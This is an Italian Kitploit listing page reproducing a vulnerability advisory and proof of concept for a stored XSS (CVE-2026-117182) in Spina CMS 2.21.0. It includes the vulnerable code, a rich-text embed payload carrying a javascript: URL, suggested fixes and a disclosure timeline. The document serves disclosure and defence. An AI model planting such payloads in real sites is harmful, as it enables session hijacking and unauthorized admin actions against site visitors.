Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/primandito/cve-2026-117182
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPaper e RicercaApprendimento e Formazione
GitHubprimandito/cve-2026-117182

CVE-2026-117182

Proof-of-concept e analisi tecnica per CVE-2026-117182, una XSS memorizzata autenticata in Spina CMS 2.21.0 tramite bypass di SafeUrlValidator nel percorso di rendering del rich-text.

Vedi Repository
18 giorni faNon ancora revisionato
Condividi

CVE-2026-117182 — XSS memorizzato autenticato tramite bypass di SafeUrlValidator in Spina CMS 2.21.0

CVE Version Status CVE State

Riepilogo

Spina CMS v2.21.0 consente a un utente staff autenticato di eseguire Cross-Site Scripting memorizzato (XSS) sul sito pubblico. Spina::SafeUrlValidator (introdotto nella PR #1448) viene eseguito solo quando un embed viene salvato tramite il modulo embed dell'area di amministrazione. Tuttavia, il contenuto di testo formattato viene salvato tramite il modulo di modifica della pagina (Spina::Parts::Text), che non attiva questa validazione.

Quando una pagina viene renderizzata, l'embed viene ricostruito dall'HTML/JSON memorizzato da Spina::Embeddable.from_json, che non esegue alcuna validazione, e viene poi emesso tramite link_to button.url. Poiché l'intero documento è racchiuso in un SafeBuffer da RichTextPresenter#to_s, un URL javascript: memorizzato nel testo formattato aggira la validazione e diventa un href attivo, portando all'esecuzione di script nell'origine del sito pubblico.

Impatto: un attaccante con un account CMS autenticato può iniettare un payload che viene eseguito quando un visitatore non autenticato o un amministratore autenticato visualizza la pagina pubblica. Ciò può portare al dirottamento della sessione, all'estrazione del token CSRF e all'esecuzione di azioni autenticate non autorizzate per conto di un amministratore.

CampoValore
CVE IDCVE-2026-117182
Record ufficialecve.org/CVERecord?id=CVE-2026-117182
Versione interessataSpina CMS (gemma Ruby) <= 2.21.0
Tipo di vulnerabilitàCWE-79: Cross-Site Scripting (XSS memorizzato)
Vettore di attaccoRete
Privilegi richiestiBasso (richiede un account CMS autenticato)
Componente interessatoSpina::RichTextPresenter, Spina::Embeddable.from_json, Spina::Admin::PagesController#page_params, app/views/spina/embeds/buttons/_button.html.erb
Segnalazione originaleSpinaCMS/Spina#1452

File interessati

Percorso del fileDescrizione
app/presenters/spina/rich_text_presenter.rbRacchiude l'intero documento in un SafeBuffer senza sanitizzazione.
lib/spina/embeddable.rbRicostruisce l'embed dal JSON senza validare lo schema dell'URL.
app/controllers/spina/admin/pages_controller.rbConsente tutti i parametri (permit!), aggirando la validazione a livello di modello sul percorso del testo formattato.
app/views/spina/embeds/buttons/_button.html.erbEmette link_to button.url direttamente sul sito pubblico.

Codice vulnerabile

I due percorsi

Percorso 1: modulo embed (con validazione) Il modulo embed costruisce l'oggetto tramite il modello, attivando il validatore.

# app/controllers/spina/admin/embeds_controller.rb:9
@embeddable = Spina::Embeds.constantize(embed_type).new(embed_params)

# app/models/spina/embeds/button.rb:7-8
validates :url, :label, presence: true

Percorso 2: Rich Text (non convalidato) Il contenuto in rich text viene salvato direttamente tramite i parametri della pagina e visualizzato successivamente senza convalida.

# app/controllers/spina/admin/pages_controller.rb
def page_params
  params.require(:page).permit!
end

# lib/spina/embeddable.rb:11-18, reached from rich_text_presenter.rb:37
def from_json(json)
  attributes = JSON.parse(json)
  attributes.transform_keys!(&:to_sym)
  new(attributes)
rescue
  Rails.logger.error "[#{self.class.name}] Couldn't parse JSON"
  nil
end

Il sink in cui viene renderizzato l'URL non sanificato:

<%# app/views/spina/embeds/buttons/_button.html.erb %>
<%= link_to button.url do %>
  <%= button.label %>
<% end %>

Fattore contribuente: RichTextPresenter#to_s avvolge l'intero documento in un ActiveSupport::SafeBuffer, il che significa che tutto ciò che non è un embed <figure> viene lasciato passare inalterato.


Proof of Concept

Prerequisiti

  • Spina CMS v2.21.0 in esecuzione locale (testato su Rails 8.1.3).
  • Un account CMS autenticato con autorizzazione a modificare il contenuto delle pagine.
  • Firefox 153.4.0esr (64-bit) per testare l'attivazione utente.

Passo 1 — Caso di controllo (il validatore funziona sul form)

Spina::Embeds::Button.new(
  url: "javascript:void(document.title=String.fromCharCode(88))",
  label: "Click me"
).valid?
# => false, "Url must be a relative path or start with http://, https://, mailto: or tel:"

Passo 2 — Memorizzare il payload tramite Rich Text

Inviare una richiesta PATCH /admin/pages/1 con un normale token CSRF, memorizzando il seguente HTML come contenuto di qualsiasi parte Spina::Parts::Text su una pagina pubblicata:

<figure data-trix-content-type="application/vnd+spina.embed+html">
  <spina-embed data-embed-type="Spina::Embeds::Button"
    data-embed-attributes='{"url":"javascript:void(document.title=String.fromCharCode(88))","label":"Click me"}'>
  </spina-embed>
</figure>

Passaggio 3 — Esecuzione

Vai a GET / (disconnesso). La pagina restituisce:

<a href="javascript:void(document.title=String.fromCharCode(88))">Click me</a>

Un clic reale dell'utente (utilizzando un evento di input attendibile, non element.click()) esegue il payload. Poiché viene eseguito sull'origine del sito stesso, una richiesta fetch() dalla pagina pubblica trasporterà il cookie di sessione del visitatore, consentendo all'attaccante di leggere /admin/users ed eseguire scritture autenticate.


Ambito e limitazioni

  • Autenticazione richiesta: Richiede un account CMS autenticato (non pre-auth).
  • Nessun RCE: Tutto rimane nel browser (lato client).
  • Pannello di amministrazione immune: Trix ri-analizza il contenuto memorizzato e scarta il payload nel pannello di amministrazione. Si tratta di XSS memorizzato (Stored XSS) solo sul sito pubblico.
  • Distinto da CVE-2023-3445: CVE-2023-3445 era un XSS nel menu a tendina delle pagine di amministrazione (corretto da una chiamata sanitize() in actions_component.html.erb). Il percorso di rendering del rich text non è mai stato sanitizzato.

Correzione consigliata

1. Riapplicare la policy degli URL in Embeddable.from_json

La modifica più piccola consiste nel riapplicare la policy degli URL proprio dove gli attributi vengono letti dal JSON memorizzato.

def from_json(json)
  attributes = JSON.parse(json)
  attributes.transform_keys!(&:to_sym)
  
  # Validate URL if present
  if attributes[:url] && !SafeUrlValidator.new.safe?(attributes[:url])
    return nil 
  end

  new(attributes)
rescue
  # ...
end

2. Sanitizzazione in RichTextPresenter

La sanitizzazione in uscita in RichTextPresenter risolverebbe il problema di SafeBuffer, ma richiede di estendere la allowlist con figure, spina-embed e i relativi attributi data-embed-* affinché gli embed esistenti continuino a essere visualizzati.


Cronologia

DataEvento
2026-10-18Segnalazione dell'issue #1452 al repository SpinaCMS
2026-10-30Pubblicazione del record CVE ufficiale su cve.org
—In attesa della risposta dei maintainer sulla correzione

Riferimenti

Scarica lo strumento

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    381
  • 4

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    321
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Il sistema d'azione per la cybersecurity nativa AI—dove l'intento diventa esecuzione governata, le evidenze diventano memoria operativa, e ogni operazione migliora la successiva.

    316
  • 6

    redforge

    cybersecurity91/redforge

    Toolkit red team lato browser con 102 strumenti offline per ricognizione, generazione di payload, attacchi alle credenziali, crittografia, codifica e reportistica dell'engagement.

    305

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →